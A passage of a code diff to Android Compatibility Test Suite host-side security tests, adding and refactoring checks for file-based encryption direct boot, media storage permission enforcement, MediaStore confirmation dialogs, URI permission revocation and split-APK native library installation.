     private static final String FEATURE_SECURE_LOCK_SCREEN =
             "feature:android.software.secure_lock_screen";
     private static final String FEATURE_AUTOMOTIVE = "feature:android.hardware.type.automotive";
+    private static final String FEATURE_SECURITY_MODEL_COMPATIBLE =
+            "feature:android.hardware.security.model.compatible";
 
     private static final long SHUTDOWN_TIME_MS = 30 * 1000;
 
@@ -82,13 +86,8 @@
      */
     @Test
     public void testAutomotiveNativeFbe() throws Exception {
-        if (!isSupportedDevice()) {
-            Log.v(TAG, "Device not supported; skipping test");
-            return;
-        } else if (!isAutomotiveDevice()) {
-            Log.v(TAG, "Device not automotive; skipping test");
-            return;
-        }
+        assumeSupportedDevice();
+        assumeTrue("Device not automotive; skipping test", isAutomotiveDevice());
 
         assertTrue("Automotive devices must support native FBE",
             MODE_NATIVE.equals(getFbeMode()));
@@ -99,14 +98,9 @@
      */
     @Test
     public void testDirectBootNative() throws Exception {
-        if (!isSupportedDevice()) {
-            Log.v(TAG, "Device not supported; skipping test");
-            return;
-        } else if (!MODE_NATIVE.equals(getFbeMode())) {
-            Log.v(TAG, "Device doesn't have native FBE; skipping test");
-            return;
-        }
-
+        assumeSupportedDevice();
+        assumeTrue("Device doesn't have native FBE; skipping test",
+                MODE_NATIVE.equals(getFbeMode()));
         doDirectBootTest(MODE_NATIVE);
     }
 
@@ -116,14 +110,9 @@
     @Test
     @RequiresDevice
     public void testDirectBootEmulated() throws Exception {
-        if (!isSupportedDevice()) {
-            Log.v(TAG, "Device not supported; skipping test");
-            return;
-        } else if (MODE_NATIVE.equals(getFbeMode())) {
-            Log.v(TAG, "Device has native FBE; skipping test");
-            return;
-        }
-
+        assumeSupportedDevice();
+        assumeFalse("Device has native FBE; skipping test",
+                MODE_NATIVE.equals(getFbeMode()));
         doDirectBootTest(MODE_EMULATED);
     }
 
@@ -132,14 +121,9 @@
      */
     @Test
     public void testDirectBootNone() throws Exception {
-        if (!isSupportedDevice()) {
-            Log.v(TAG, "Device not supported; skipping test");
-            return;
-        } else if (MODE_NATIVE.equals(getFbeMode())) {
-            Log.v(TAG, "Device has native FBE; skipping test");
-            return;
-        }
-
+        assumeSupportedDevice();
+        assumeFalse("Device has native FBE; skipping test",
+                MODE_NATIVE.equals(getFbeMode()));
         doDirectBootTest(MODE_NONE);
     }
 
@@ -214,9 +198,13 @@
         return getDevice().executeShellCommand("sm get-fbe-mode").trim();
     }
 
-    private boolean isSupportedDevice() throws Exception {
-        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN)
-                && getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN);
+    private void assumeSupportedDevice() throws Exception {
+        assumeTrue("Skipping test: FEATURE_DEVICE_ADMIN missing.",
+                getDevice().hasFeature(FEATURE_DEVICE_ADMIN));
+        assumeTrue("Skipping test: FEATURE_SECURE_LOCK_SCREEN missing.",
+                getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN));
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                getDevice().hasFeature(FEATURE_SECURITY_MODEL_COMPATIBLE));
     }
 
     private boolean isAutomotiveDevice() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index cd43821..ebad33c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,6 +16,8 @@
 
 package android.appsecurity.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -144,6 +146,13 @@
         }
     }
 
+    @SecurityTest
+    public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
+        runDeviceTests(CLIENT_PKG, ".DocumentsClientTest",
+                "testAfterMoveDocumentInStorage_revokeUriPermission");
+
+    }
+
     private boolean isAtLeastR() {
         try {
             String apiString = getDevice().getProperty("ro.build.version.sdk");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 72de9bb..397a7fc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -17,13 +17,12 @@
 package android.appsecurity.cts;
 
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -511,6 +510,35 @@
                 "testFullApplicationReadFile");
     }
 
+    @Test
+    public void testGetChangedPackages() throws Throwable {
+        if (mIsUnsupportedDevice) {
+            return;
+        }
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), NORMAL_PKG, TEST_CLASS,
+                "testGetChangedPackages");
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+                "testGetChangedPackages");
+    }
+
+    @Test
+    public void uninstall_userInstalledApp_shouldBeUserInitiated() throws Throwable {
+        assumeFalse("Device does not support instant app", mIsUnsupportedDevice);
+        installEphemeralApp(EPHEMERAL_1_APK, NORMAL_PKG);
+
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), NORMAL_PKG, TEST_CLASS,
+                "uninstall_userInstalledApp_shouldBeUserInitiated");
+    }
+
+    @Test
+    public void uninstall_pruneInstantApp_shouldNotBeUserInitiated()
+            throws Throwable {
+        assumeFalse("Device does not support instant app", mIsUnsupportedDevice);
+
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), NORMAL_PKG, TEST_CLASS,
+                "uninstall_pruneInstantApp_shouldNotBeUserInitiated");
+    }
+
     private static final HashMap<String, String> makeArgs(
             String action, String category, String mimeType) {
         if (action == null || action.length() == 0) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 5c26531..67e4080 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -24,9 +24,9 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
-import com.android.server.role.RoleManagerServiceDumpProto;
-import com.android.server.role.RoleProto;
-import com.android.server.role.RoleUserStateProto;
+import com.android.role.RoleProto;
+import com.android.role.RoleServiceDumpProto;
+import com.android.role.RoleUserStateProto;
 import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -93,8 +93,15 @@
     private static final Config MEDIA_29 = new Config("CtsMediaStorageApp29.apk",
             "com.android.cts.mediastorageapp29", MEDIA_CLAZZ);
 
-    private static final String PERM_READ_EXTERNAL_STORAGE = "android.permission.READ_EXTERNAL_STORAGE";
-    private static final String PERM_WRITE_EXTERNAL_STORAGE = "android.permission.WRITE_EXTERNAL_STORAGE";
+    private static final String PERM_ACCESS_MEDIA_LOCATION =
+            "android.permission.ACCESS_MEDIA_LOCATION";
+    private static final String PERM_READ_EXTERNAL_STORAGE =
+            "android.permission.READ_EXTERNAL_STORAGE";
+    private static final String PERM_WRITE_EXTERNAL_STORAGE =
+            "android.permission.WRITE_EXTERNAL_STORAGE";
+
+    private static final String APP_OPS_MANAGE_EXTERNAL_STORAGE = "android:manage_external_storage";
+    private static final String APP_OPS_MANAGE_MEDIA = "android:manage_media";
 
     /** Copied from PackageManager*/
     private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
@@ -476,19 +483,15 @@
     }
 
     @Test
-    public void testMediaSandboxed() throws Exception {
-        doMediaSandboxed(MEDIA, true);
+    public void testMediaLegacy28() throws Exception {
+        doMediaLegacy(MEDIA_28);
     }
     @Test
-    public void testMediaSandboxed28() throws Exception {
-        doMediaSandboxed(MEDIA_28, false);
-    }
-    @Test
-    public void testMediaSandboxed29() throws Exception {
-        doMediaSandboxed(MEDIA_29, false);
+    public void testMediaLegacy29() throws Exception {
+        doMediaLegacy(MEDIA_29);
     }
 
-    private void doMediaSandboxed(Config config, boolean sandboxed) throws Exception {
+    private void doMediaLegacy(Config config) throws Exception {
         installPackage(config.apk);
         installPackage(MEDIA_29.apk);
         // Make sure user initialization is complete before updating permission
@@ -506,17 +509,45 @@
             // Create the files needed for the test from MEDIA_29 pkg since shell
             // can't access secondary user's storage.
             runDeviceTests(MEDIA_29.pkg, MEDIA_29.clazz, "testStageFiles", user);
-
-            if (sandboxed) {
-                runDeviceTests(config.pkg, config.clazz, "testSandboxed", user);
-            } else {
-                runDeviceTests(config.pkg, config.clazz, "testNotSandboxed", user);
-            }
-
+            runDeviceTests(config.pkg, config.clazz, "testLegacy", user);
             runDeviceTests(MEDIA_29.pkg, MEDIA_29.clazz, "testClearFiles", user);
         }
     }
 
+
+    @Test
+    public void testGrantUriPermission() throws Exception {
+        doGrantUriPermission(MEDIA, "testGrantUriPermission", new String[]{});
+        doGrantUriPermission(MEDIA, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE});
+        doGrantUriPermission(MEDIA, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE});
+    }
+
+    @Test
+    public void testGrantUriPermission29() throws Exception {
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission", new String[]{});
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE});
+        doGrantUriPermission(MEDIA_29, "testGrantUriPermission",
+                new String[]{PERM_READ_EXTERNAL_STORAGE, PERM_WRITE_EXTERNAL_STORAGE});
+    }
+
+    private void doGrantUriPermission(Config config, String method, String[] grantPermissions)
+            throws Exception {
+        uninstallPackage(config.apk);
+        installPackage(config.apk);
+        for (int user : mUsers) {
+            // Over revoke all permissions and grant necessary permissions later.
+            updatePermissions(config.pkg, user, new String[] {
+                    PERM_READ_EXTERNAL_STORAGE,
+                    PERM_WRITE_EXTERNAL_STORAGE,
+            }, false);
+            updatePermissions(config.pkg, user, grantPermissions, true);
+            runDeviceTests(config.pkg, config.clazz, method, user);
+        }
+    }
+
     @Test
     public void testMediaNone() throws Exception {
         doMediaNone(MEDIA);
@@ -595,6 +626,24 @@
     }
 
     @Test
+    public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception {
+        // Not adding tests for MEDIA_28 and MEDIA_29 as they need W_E_S for write access via file
+        // path for shared files, and will always have access as they have W_E_S.
+        installPackage(MEDIA.apk);
+
+        int user = getDevice().getCurrentUser();
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_READ_EXTERNAL_STORAGE,
+        }, true);
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_WRITE_EXTERNAL_STORAGE,
+        }, false);
+
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz, "testMediaEscalation_RequestWriteFilePathSupport",
+                user);
+    }
+
+    @Test
     public void testMediaEscalation() throws Exception {
         doMediaEscalation(MEDIA);
     }
@@ -679,6 +728,165 @@
         }
     }
 
+    /**
+     * Check the behavior when the app calls MediaStore#createTrashRequest,
+     * MediaStore#createDeleteRequest or MediaStore#createWriteRequest, the user
+     * click the deny button on confirmation dialog.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testCreateRequest_userDenied() throws Exception {
+        installPackage(MEDIA.apk);
+
+        int user = getDevice().getCurrentUser();
+
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalationWithDenied_RequestWrite", user);
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalationWithDenied_RequestDelete", user);
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalationWithDenied_RequestTrash", user);
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalationWithDenied_RequestUnTrash", user);
+    }
+
+    /**
+     * If the app is NOT granted {@link android.Manifest.permission#READ_EXTERNAL_STORAGE}
+     * and {@link android.Manifest.permission#MANAGE_EXTERNAL_STORAGE}
+     * when it calls MediaStore#createTrashRequest,
+     * MediaStore#createDeleteRequest, or MediaStore#createWriteRequest,
+     * the system will show the user confirmation dialog.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testCreateRequest_noRESAndMES_showConfirmDialog() throws Exception {
+        installPackage(MEDIA.apk);
+
+        int user = getDevice().getCurrentUser();
+
+        // grant permissions
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_ACCESS_MEDIA_LOCATION,
+        }, true);
+        // revoke permissions
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_READ_EXTERNAL_STORAGE,
+                PERM_WRITE_EXTERNAL_STORAGE,
+        }, false);
+
+
+        // revoke the app ops permission
+        updateAppOp(MEDIA.pkg, user, APP_OPS_MANAGE_EXTERNAL_STORAGE, false);
+
+        // grant the app ops permission
+        updateAppOp(MEDIA.pkg, user, APP_OPS_MANAGE_MEDIA, true);
+
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestWrite_showConfirmDialog", user);
+    }
+
+    /**
+     * If the app is NOT granted {@link android.Manifest.permission#MANAGE_MEDIA},
+     * when it calls MediaStore#createTrashRequest,
+     * MediaStore#createDeleteRequest, or MediaStore#createWriteRequest,
+     * the system will show the user confirmation dialog.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testCreateRequest_noMANAGEMEDIA_showConfirmDialog() throws Exception {
+        installPackage(MEDIA.apk);
+
+        int user = getDevice().getCurrentUser();
+        // grant permissions
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_READ_EXTERNAL_STORAGE,
+                PERM_ACCESS_MEDIA_LOCATION,
+        }, true);
+
+        // revoke the app ops permission
+        updateAppOp(MEDIA.pkg, user, APP_OPS_MANAGE_MEDIA, false);
+
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestWrite_showConfirmDialog", user);
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestTrash_showConfirmDialog", user);
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestDelete_showConfirmDialog", user);
+    }
+
+    /**
+     * If the app is granted {@link android.Manifest.permission#MANAGE_MEDIA},
+     * {@link android.Manifest.permission#READ_EXTERNAL_STORAGE}, without
+     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION},
+     * when it calls MediaStore#createTrashRequest or
+     * MediaStore#createDeleteRequest, The system will NOT show the user
+     * confirmation dialog. When it calls MediaStore#createWriteRequest, the
+     * system will show the user confirmation dialog.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testCreateRequest_withNoAML_showConfirmDialog() throws Exception {
+        installPackage(MEDIA.apk);
+
+        int user = getDevice().getCurrentUser();
+        // grant permissions
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_READ_EXTERNAL_STORAGE,
+        }, true);
+        // revoke permission
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_ACCESS_MEDIA_LOCATION,
+        }, false);
+
+        // grant the app ops permission
+        updateAppOp(MEDIA.pkg, user, APP_OPS_MANAGE_MEDIA, true);
+
+        // show confirm dialog in requestWrite
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestWrite_showConfirmDialog", user);
+
+        // not show confirm dialog in requestTrash and requestDelete
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestTrash_notShowConfirmDialog", user);
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestDelete_notShowConfirmDialog", user);
+    }
+
+    /**
+     * If the app is granted {@link android.Manifest.permission#MANAGE_MEDIA},
+     * {@link android.Manifest.permission#READ_EXTERNAL_STORAGE}, and
+     * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION},
+     * when it calls MediaStore#createWriteRequest, MediaStore#createTrashRequest or
+     * MediaStore#createDeleteRequest, the system will NOT show the user confirmation dialog.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testCreateRequest_withPermission_notShowConfirmDialog() throws Exception {
+        installPackage(MEDIA.apk);
+
+        int user = getDevice().getCurrentUser();
+        // grant permissions
+        updatePermissions(MEDIA.pkg, user, new String[] {
+                PERM_READ_EXTERNAL_STORAGE,
+                PERM_ACCESS_MEDIA_LOCATION,
+        }, true);
+
+        // revoke the app ops permission
+        updateAppOp(MEDIA.pkg, user, APP_OPS_MANAGE_MEDIA, true);
+
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestWrite_notShowConfirmDialog", user);
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestTrash_notShowConfirmDialog", user);
+        runDeviceTests(MEDIA.pkg, MEDIA.clazz,
+                "testMediaEscalation_RequestDelete_notShowConfirmDialog", user);
+    }
+
     private <T extends MessageLite> T getDump(Parser<T> parser, String command) throws Exception {
         final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
         getDevice().executeShellCommand(command, receiver);
@@ -686,8 +894,8 @@
     }
 
     private List<RoleUserStateProto> getAllUsersRoleStates() throws Exception {
-        final RoleManagerServiceDumpProto dumpProto =
-                getDump(RoleManagerServiceDumpProto.parser(), "dumpsys role --proto");
+        final RoleServiceDumpProto dumpProto =
+                getDump(RoleServiceDumpProto.parser(), "dumpsys role --proto");
         final List<RoleUserStateProto> res = new ArrayList<>();
         for (RoleUserStateProto userState : dumpProto.getUserStatesList()) {
             for (int i : mUsers) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index 4ed56d4..6852faf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -25,6 +25,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.FileNotFoundException;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class IsolatedSplitsTests extends BaseAppSecurityTest {
     private static final String PKG = "com.android.cts.isolatedsplitapp";
@@ -44,6 +46,28 @@
     private static final String APK_FEATURE_B_pl = "CtsIsolatedSplitAppFeatureB_pl.apk";
     private static final String APK_FEATURE_C = "CtsIsolatedSplitAppFeatureC.apk";
     private static final String APK_FEATURE_C_pl = "CtsIsolatedSplitAppFeatureC_pl.apk";
+    private static final String APK_FEATURE_A_DiffRev = "CtsIsolatedSplitAppFeatureADiffRev.apk";
+
+    private static final String APK_BASE_WITHOUT_EXTRACTING = APK_BASE;
+    private static final String APK_FEATURE_JNI_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseJni.apk";
+    private static final String APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProviderA.apk";
+    private static final String APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProviderB.apk";
+    private static final String APK_FEATURE_PROXY_WITHOUT_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProxy.apk";
+
+    private static final String APK_BASE_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrue.apk";
+    private static final String APK_FEATURE_JNI_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueJni.apk";
+    private static final String APK_FEATURE_PROVIDER_A_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProviderA.apk";
+    private static final String APK_FEATURE_PROVIDER_B_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProviderB.apk";
+    private static final String APK_FEATURE_PROXY_WITH_EXTRACTING =
+            "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProxy.apk";
 
     @Before
     public void setUp() throws Exception {
@@ -92,21 +116,38 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testInstallMissingDependency_full() throws Exception {
-        testInstallMissingDependency(false);
+    public void testInstallMissingDependency_usesSplit_full() throws Exception {
+        testInstallMissingDependency_usesSplit(false);
     }
 
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testInstallMissingDependency_instant() throws Exception {
-        testInstallMissingDependency(true);
+    public void testInstallMissingDependency_usesSplit_instant() throws Exception {
+        testInstallMissingDependency_usesSplit(true);
     }
 
-    private void testInstallMissingDependency(boolean instant) throws Exception {
+    private void testInstallMissingDependency_usesSplit(boolean instant) throws Exception {
         new InstallMultiple(instant).addFile(APK_BASE).addFile(APK_FEATURE_B).runExpectingFailure();
     }
 
     @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallMissingDependency_configForSplit_full() throws Exception {
+        testInstallMissingDependency_configForSplit(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallMissingDependency_configForSplit_instant() throws Exception {
+        testInstallMissingDependency_configForSplit(true);
+    }
+
+    private void testInstallMissingDependency_configForSplit(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_BASE).addFile(
+                APK_FEATURE_A_pl).runExpectingFailure();
+    }
+
+    @Test
     @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest "
             + "receivers")
     public void testInstallOneFeatureSplit_full() throws Exception {
@@ -229,4 +270,199 @@
         Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
                 "shouldLoadFeatureCDefault");
     }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testSplitsInheritInstall_full() throws Exception {
+        testSplitsInheritInstall(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testSplitsInheritInstall_instant() throws Exception {
+        testSplitsInheritInstall(true);
+    }
+
+    private void testSplitsInheritInstall(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_BASE).addFile(APK_FEATURE_A).addFile(APK_FEATURE_B)
+                .addFile(APK_FEATURE_C).run();
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureADefault");
+
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_FEATURE_A_DiffRev).run();
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureADiffRevision");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testSplitsRemoved_full() throws Exception {
+        testSplitsRemoved(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testSplitsRemoved_instant() throws Exception {
+        testSplitsRemoved(true);
+    }
+
+    private void testSplitsRemoved(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_BASE).addFile(APK_FEATURE_A).addFile(APK_FEATURE_B)
+                .addFile(APK_FEATURE_C).run();
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldLoadFeatureCDefault");
+
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature_c").run();
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), PKG, TEST_CLASS,
+                "shouldNotFoundFeatureC");
+    }
+
+    private InstallMultiple configureInstallMultiple(boolean instant, String...apks)
+            throws FileNotFoundException {
+        InstallMultiple installMultiple = new InstallMultiple(instant);
+        for (String apk : apks) {
+            installMultiple.addFile(apk);
+        }
+        return installMultiple;
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitTrue_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING, APK_FEATURE_PROXY_WITH_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITH_EXTRACTING).runExpectingFailure(
+                "INSTALL_FAILED_INVALID_APK");
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitTrue_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITHOUT_EXTRACTING, APK_FEATURE_JNI_WITH_EXTRACTING,
+                APK_FEATURE_PROXY_WITH_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITH_EXTRACTING).runExpectingFailure(
+                "INSTALL_FAILED_INVALID_APK");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitFalse_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseFalse_splitFalse_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitTrue_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING,
+                APK_FEATURE_PROXY_WITH_EXTRACTING, APK_FEATURE_PROVIDER_A_WITH_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitTrue_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITH_EXTRACTING, APK_FEATURE_JNI_WITH_EXTRACTING,
+                APK_FEATURE_PROXY_WITH_EXTRACTING, APK_FEATURE_PROVIDER_A_WITH_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitFalse_full()
+            throws Exception {
+        configureInstallMultiple(false, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeInstallable_extractNativeLibs_baseTrue_splitFalse_instant()
+            throws Exception {
+        configureInstallMultiple(true, APK_BASE_WITH_EXTRACTING, APK_FEATURE_JNI_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROXY_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING).run();
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAccessNativeSymbol_bothBaseAndSplitExtracting_full() throws Exception {
+        testAccessNativeSymbol(false, true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING, APK_FEATURE_PROVIDER_A_WITH_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITH_EXTRACTING, APK_FEATURE_PROXY_WITH_EXTRACTING);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAccessNativeSymbol_bothBaseAndSplitExtracting_instant() throws Exception {
+        testAccessNativeSymbol(true, true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITH_EXTRACTING, APK_FEATURE_PROVIDER_A_WITH_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITH_EXTRACTING, APK_FEATURE_PROXY_WITH_EXTRACTING);
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testAccessNativeSymbol_onlyBaseExtracting_full() throws Exception {
+        testAccessNativeSymbol(false, true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAccessNativeSymbol_onlyBaseExtracting_instant() throws Exception {
+        testAccessNativeSymbol(true, true, APK_BASE_WITH_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING,
